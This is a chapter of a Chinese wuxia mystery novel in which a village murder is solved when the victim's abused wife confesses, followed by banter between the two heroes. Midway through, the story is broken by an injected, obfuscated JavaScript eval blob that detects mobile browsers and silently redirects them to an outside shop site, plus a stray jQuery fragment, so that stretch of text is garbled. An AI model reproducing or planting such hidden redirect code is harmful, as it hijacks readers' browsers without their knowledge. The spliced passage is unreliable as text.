碍于悟尘身份尊敬,县令谨慎地问:“可你为何要杀害自己父亲呢?”
悟尘面不改色,仿佛早就准备好了答案一般。
“我少小离家,怨恨父亲多年不养不顾,如今难得借讲经一事重回故土,我自然要好好把握。”
百姓中有胆子大些的喊道:“枉我们敬重你一声悟尘师傅,佛祖赐福人选是随机的,若是我们挤上前了,你岂不是要杀了我们!”
一枚石子从人群中飞出,泄愤般砸中了悟尘的头,鲜血立刻顺着他的额角流了下来。
悟尘合眼念了声“阿弥陀佛”:“非也,讲经大典乃佛门盛事,前一日足足彩排了一整日,对我来说,赐福佛会赐福哪个方位并不是秘密。”
县令眼底划过一丝恍然:“原来如此,张老汉虽不信佛但极好面子,自己的儿子承诺的赐福必然会笃信,却不知这本就是为他设计的死局。”
看着没有辩解意愿的悟尘,县令下令:“先将他送去衙内继续审问。”
“慢着!”谷景云眉头紧皱,厉声道,“京都距翡南四千余里,李老汉见到张大忠时我们才走到中途,就算是江湖上公认轻功最好的江七也未必能七日内赶个来回。”
他定定地看着悟尘:“你在帮人顶罪。”
能做到的,曲明昭下意识想,如果他没有这一身蛊毒拖累。
他抬手摸了摸鼻子,在江月楼这些年惯是人人喊打,只要听到自己的名字,向来没什么好话。
后来就算大家都觉得他死了,也会因他死前那震惊朝野的刺杀而多有非议,忽然在谷景云嘴里听到这略带夸奖意味的话,曲明昭多少还有些不习惯。
悟尘双手合十,油盐不进地一口咬定了自己才是凶手。
他不再用贫僧来自称了,只是淡淡地说:“我半月前便回到县里了,一直未曾离开,车队护送来的人是我请人易容的。”
谷景云还想挣扎:“可那佛手组装没有十年八年木工经验是做不了的。”
悟尘刚要开口,张三宝终于忍不住了,三步并作两步挡在他身前:“大哥,你不必再替弟弟遮掩了。”
他一撸袖子,露出手臂上一道道割伤的疤痕,冲着县令大喊:“大人抓我吧,是我气不过阿爹整日醉酒还对我们拳打脚踢,不想让四妹妹从一个魔窟嫁到另一个魔窟去才设计了一切。”
张三宝回头给了悟尘一个安心的眼神,目光坚定:“大哥根本不知道装火珠的事,他是被我蒙骗了,以为我孝顺,想让阿爹获得赐福的荣耀能开心。”
见势不用将带着皇命来讲经的僧人关入大牢,县令松了口气,毫不犹豫道:“来人,把张三宝抓起来!”
然而场面还在突变,张二壮也站了出来:“不关三宝的事,是我扮成大哥求阿爹带我七日前去李老汉铺内吃酒,趁他们二人喝醉后偷偷装上的火珠。”
头一回见有人接二连三认罪,眼看真凶嫌疑人愈来愈多,县令纳闷地摸了摸脑袋。
“那就两人都抓起来秋后问斩吧。”
横竖这二人都是小老百姓,县令毫不犹豫地按杀人罪的律法定了罪。
人群中一声悠久而苍老的叹息响起,似是欣慰又似是遗憾。
“都回来吧,欺骗官家像什么样子。”
先前一直安静站在人群里的王大娘缓缓上前两步,语气沧桑地看向谷景云:“你很聪明。”
“娘。”张三宝想要拉住她,被她轻轻拂开。
“所有的一切,都是我安排的。”
王大娘轻拉起袖子,新新旧旧的伤痕露出来,她幽幽地说:“这几十年,我便是这么过的。”
她从怀中视若珍宝地拿出之前被谷景云碰掉的佛手,露出佛手内刻着的一个很不起眼的“王”字。
按大兴律例,所有器物都需刻上工匠姓名,但这佛手中只刻了一个很小的姓。
“父亲是县里最好的木匠,原本,继承衣钵的人会是我,可偏偏我是女子,大家都说,女子怎么能做匠人呢?”
王大娘低头看着手上厚厚的老茧,浑浊的眼中噙着泪光。
“丈夫起初对我照料有佳,人也踏实可靠,父亲允了亲事,可谁承想,他做这一切都是想要赐福佛的图纸。”
“但父亲并未因为他是自己女婿就高看他,而是让所有学徒凭本事来继承衣钵,他那破手艺自然拿不到图纸,便现了原形,酗酒、打人、耍无赖……”
她娓娓说着,身体抖了一下,仿佛那些灰暗的日子和遒劲的巴掌又落到了身上。
“我这一辈子也就如此了,可四妞的一辈子还很长,我不想她走我的老路,也不想孩子们一生都活在他的阴霾下。”
王大娘长呼出一口气,流出两行清泪。
“本来,他也要死在我手里。”王大娘指了指穿着囚服的赵屠夫,“好在苍天有眼,不待佛祖降罪便能收了他。”
看着她手中刻痕显然很新的精妙佛手,谷景云沉默地垂下了眼。
其实在张家看到佛手的那一刻,他心中便有了猜测,张二壮的王木匠遗物说辞并没有骗过他。
旁人都道县内只有两名木匠,可他们都忘了,赐福佛是王大娘父亲设计的,她才是最了解赐福佛的人。
尽管已不再重要,谷景云还是问了出来:“可你如何让张老汉自己做完所有的准备工作?”
王大娘微微一笑:“这么多年夫妻,早就知根知底了,只需要哄他说与县令沾亲带故后身份就会尊贵,合该配得上最好的,莫让邻里再传他穷酸的闲话,他自会为了面子去做那些事。”
衙役挥舞着木棍将她带走,她也不反抗,像是预想过很多次这个场面。
张家的两个儿子哭喊着追了上去,只有张四妞愣愣的,好像还没明白发生了什么。
她眨着黑葡萄般的眼睛,懵懵懂懂地也追上去,跑着跑着,新绣好的鸳鸯帕从腰间滑落,飘到谷景云脚下。
看着他们的背影,谷景云从怀中掏出了那支箭头糊了泥的断箭,垂在身侧的手虚虚地攥了起来。
今日之前,这家人或许还满怀着希望地畅想着日后能过上幸福安稳的生活,但这一切如今都成了泡影。
他确实找到了凶手,维护了正义,却也让这本就不幸的家庭变得更加支离。
他好像没有做错,但也没有做对。
谷景云的脸上根本藏不住事,曲明昭悠悠地踱步到他身边,淡淡地说:“人间案最难断清白,日后多在江湖走一走,你便能看得透了。”
直到连差役的身影都看不见了,谷景云才闷闷地开口:“之前你问我怎么看张老汉,是不是那时就猜到凶手了?”
“哪能啊,我又不如谷少侠聪慧。”
听出曲明昭的敷衍,谷景云自嘲地嗤笑一声,又问:“昨晚看你和悟尘师傅在一起,案发那日差役又从他客房里找到了你,你们早就认识吗?”
曲明昭想了想说:“我和悟尘的师父有点交情,他远在京都礼佛,我有空时就帮忙照拂家里一二。”
谷景云一愣,生出几分好奇:“看不出来啊,你这半吊子卦师居然会和慧空主持有交情,京都多少官员想听他讲经,排队都排不上呢。”
曲明昭张口就来,说得云淡风轻:“他看我悟性极高,追着我想要收徒,但我没答应。”
“真的假的?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634959|206531||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
谷景云拔高了声量,十分讶异。
“假的,逗你玩的,要闯江湖的人这么容易被骗可不行啊。”
笑眯眯地伸了个懒腰,曲明昭揉着酸胀的肩膀:“既然案子结束了,我就回家歇着了,多谢谷少侠还我清白。”
他走出去几步,又听到谷景云问:“如果说张老汉作恶多端,是该死的恶人,那张氏又是什么样的人?”
曲明昭顿住脚步,阳光下的发丝如琥珀般透着暖意,澄明的桃花眼带着几分笑意。
“这世间的善恶,本就纠缠在一起,分不清的。”
将他的话在脑海里咀嚼了一圈,谷景云犹豫了一下,主动邀请道:“二月十五,风城要举办武林大会,你要和我结伴去看看热闹吗?”
曲明昭兴致缺缺:“我又不会武功,可不想白挨揍。”
他还有未竟之事,可不想被江月楼发现。
谷景云点点头,咬着后槽牙握起拳头,信心满满地说:“我要去武林大会挑战万人册第一万名‘神机妙算’,看看他凭什么比我厉害!”
曲明昭的嘴角僵了一下,手下意识缠上发带,试探地问:“一般人都不会在意这么靠后的排名吧,你与他有什么仇怨吗?”
怀义气呼呼接话:“只有在万人册上的名字才能被江湖认可,而‘神机妙算’是万人册的最后一名,公子闯江湖的第一步自然是打赢他,然后登上万人册!”
曲明昭意外地挑了挑眉,谷景云的武功在年轻一代里还算不错,居然不在万人册上。
“你为什么想闯江湖?”
说到这个,谷景云双眸亮晶晶起来。
“江湖里快意恩仇,惩恶扬善多帅啊,我爹总说我肯定混不好江湖,我偏要在江湖上闯出一番名堂证明给他看!”
摇了摇头,曲明昭眉眼弯弯:“江湖是个吃人的地方,人人都想逃出去,你却想进来?”
他随手一指不远处的酒楼:“江湖很没意思的,也就酒还算好喝。”
谷景云显然不信地撇了撇嘴:“说得好像你很了解江湖一样,那你为什么混江湖啊?”
“我没有你如此有抱负,我只是找不到回家的路了,所以只好四海为家,漂泊在江湖中。”
曲明昭看着他,正色几分:“我给你算了一卦,你家庭美满,养尊处优,江湖,不适合你。”
“你怎么和我父亲说一样的话。”谷景云很不服气地嘟囔了一句。
横竖算是劝过了,曲明昭略一拱手,算是拜别:“那便当我没说,祝谷少侠得偿所愿。”
打点完衙门,曲明昭悠悠荡荡回了卦摊,随意吹了吹浮土,一屁股坐上小板凳,屁股还没坐热,就有一个五大三粗的汉子找上门来。
“小神棍,你算算我此去能否成事?”
曲明昭不着痕迹地打量了他一番,此人是刀客,听口音是陇右人士,大刀柄上嵌着只骷髅头,正是万人册第五千三百一十八位——黄刀客李魁。
“你面前有三枚铜钱,摇六次。”
假意看了看摇出的六次结果,曲明昭斟酌着缓缓道:“你此去恐难成事,你想做之事有不少人也想,其中不乏强于你者。”
这时候出现在这附近,无外乎是要去风城参加武林大会想拔得头筹。
“不错!你不像那些江湖骗子一般只会说好听的。”
李魁抚掌大笑:“确实,仅凭我之力杀不了江七,但我听闻众多江湖豪杰已经集结,定能在武林大会上将他杀之后快!”
曲明昭一愣,迅速坐直了身子,眼底划过一抹危险的光,眯起眼问道:“谁?”
他怎么不知道自己报名了武林大会。